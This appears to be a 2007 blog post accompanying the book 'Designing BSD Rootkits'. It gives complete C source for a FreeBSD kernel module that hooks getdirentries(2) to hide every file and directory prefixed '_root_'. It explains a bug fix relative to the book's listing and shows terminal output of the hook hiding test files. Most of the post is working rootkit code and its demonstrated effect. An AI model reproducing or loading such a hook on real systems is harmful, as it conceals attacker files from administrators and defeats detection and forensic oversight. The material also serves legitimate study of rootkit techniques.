2007-08-30 Hiding Multiple Files or Directories
The following is an example getdirentries(2) system
call hook designed to hide every file and/or directory that begins
with the prefix "_root_". This hook is the "natural extension" to
the getdirentries(2) hook described in Section 6.4 of
Designing BSD Rootkits and is based on
code written by pragmatic (1999). It was tested on a IA-32-based
computer running FreeBSD 7.0-CURRENT and FreeBSD 6.2-STABLE.
Note: If you haven't read Chapter 6 of
Designing BSD Rootkits before you can
still follow along by first reading
Chapter 2
(of Designing BSD Rootkits), the
getdirentries(2) manual page, and the
getdirentries_hook function
source
(found within dbr/ch06/incognito-0.2/incognito-0.2.c).
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>
#include <sys/malloc.h>
#include <sys/dirent.h>
#define PREFIX "_root_"
#define LENGTH 6
static int
getdirentries_hook(struct thread *td, void *syscall_args)
{
struct getdirentries_args /* {
int fd;
char *buf;
u_int count;
long *basep;
} */ *uap;
uap = (struct getdirentries_args *)syscall_args;
struct dirent *dp, *current;
unsigned int size, count, length;
int flag = 0;
/* Read directory entries from fd into buf, and... */
getdirentries(td, syscall_args);
/* record the number of bytes transferred. */
size = td->td_retval[0];
/* Does fd contain any directory entries? */
if (size > 0) {
/* Allocate kernel memory, and... */
MALLOC(dp, struct dirent *, size, M_TEMP, M_NOWAIT);
/* create a local copy of the directory entries. */
copyin(uap->buf, dp, size);
current = dp;
count = size;
/* Iterate through the directory entries. */
while (count > 0) {
length = current->d_reclen;
count -= length;
/* Hide this directory entry? */
if (strncmp((char *)&(current->d_name), PREFIX, LENGTH) == 0) {
if (count != 0) {
/* Cut out a directory entry. */
bcopy((char *)current + length, current, count);
flag = 1;
}
/* Adjust locally the "number of bytes transferred". */
size -= length;
}
/* The last directory entry always has a record length of 0. */
if (current->d_reclen == 0)
/* Get out of while loop. */
count = 0;
/* Any more directory entries to look at? */
if (count != 0 && flag == 0)
/* Point to the next directory entry. */
current = (struct dirent *)((char *)current + length);
flag = 0;
}
/* Adjust the getdirentries(2) return values. */
td->td_retval[0] = size;
copyout(dp, uap->buf, size);
FREE(dp, M_TEMP);
}
return(0);
}
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
/* Replace getdirentries(2) with getdirentries_hook. */
sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook;
break;
case MOD_UNLOAD:
/* Reinstate getdirentries(2). */
sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries;
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
static moduledata_t getdirentries_hook_mod = {
"getdirentries_hook",
load,
NULL
};
DECLARE_MODULE(getdirentries_hook, getdirentries_hook_mod, SI_SUB_DRIVERS,
SI_ORDER_MIDDLE);
Listing 1: getdirentries_hook.c
As you can see, there's not much difference between the
getdirentries(2) hook shown above and the one shown in
Section 6.4 of Designing BSD Rootkits
(i.e., Listing 6-4: incognito-0.2.c). In fact, the only major
difference is in the while loops. In Listing 6-4 of
Designing BSD Rootkits the
while loop is written as follows:
while ((current->d_reclen != 0) && (count > 0)) {
count -= current->d_reclen;
1 if (strcmp((char *)&(current->d_name), T_NAME) == 0) {
if (count != 0)
2 bcopy((char *)current + current->d_reclen, current, count);
3 size -= current->d_reclen;
break;
}
if (count != 0)
current = (struct dirent *)((char *)current + current->d_reclen);
}
On the other hand, the while loop in Listing 1 is
written as follows:
while (count > 0) {
4 length = current->d_reclen;
count -= length;
5 if (strncmp((char *)&(current->d_name), PREFIX, LENGTH) == 0) {
if (count != 0) {
6 bcopy((char *)current + length, current, count);
flag = 1;
}
7 size -= length;
}
if (current->d_reclen == 0)
count = 0;
8 if (count != 0 && flag == 0)
current = (struct dirent *)((char *)current + length);
flag = 0;
}
As you can see, besides swapping the call to
(1) strcmp()
with a call to (5)
strncmp(), there is only one major difference: the
addition of two variables (length and flag).
The length variable is used to keep track of
(4) current->d_reclen,
because if the call to (6)
bcopy() occurs, current will end up pointing
to the next dirent structure and, without
length, the subsequent subtraction from
(7) size would be
incorrect.
Note: Listing 6-4 of Designing BSD Rootkits
should also use a "length" variable. As is, if the call to
(2) bcopy() occurs, the
subtraction from (3)
size is with the next dirent structure's
record length—not the one just hidden... oops!
The flag variable is used to ensure that if
current ends up pointing to the next dirent
structure because of (6) bcopy(),
not to (8) advance it at the end of
the loop. Without flag, current would
advance twice in one iteration skipping a dirent
structure.
The following output shows getdirentries_hook in action:
$ mkdir test
$ touch test/_root_1
$ touch test/_root_2
$ mkdir test/_root_3
$ ls -l test/
total 2
-rw-r--r-- 1 ghost ghost 0 Aug 30 00:01 _root_1
-rw-r--r-- 1 ghost ghost 0 Aug 30 00:01 _root_2
drwxr-xr-x 2 ghost ghost 512 Aug 30 00:01 _root_3
$ sudo kldload ./getdirentries_hook.ko
$ ls -l test/
total 0
Downloads
References
- pragmatic. "Attacking FreeBSD with Kernel Modules: The System Call Approach." The Hacker's Choice, June 1999. http://thc.org/papers/bsdkern.html (accessed August 30, 2007).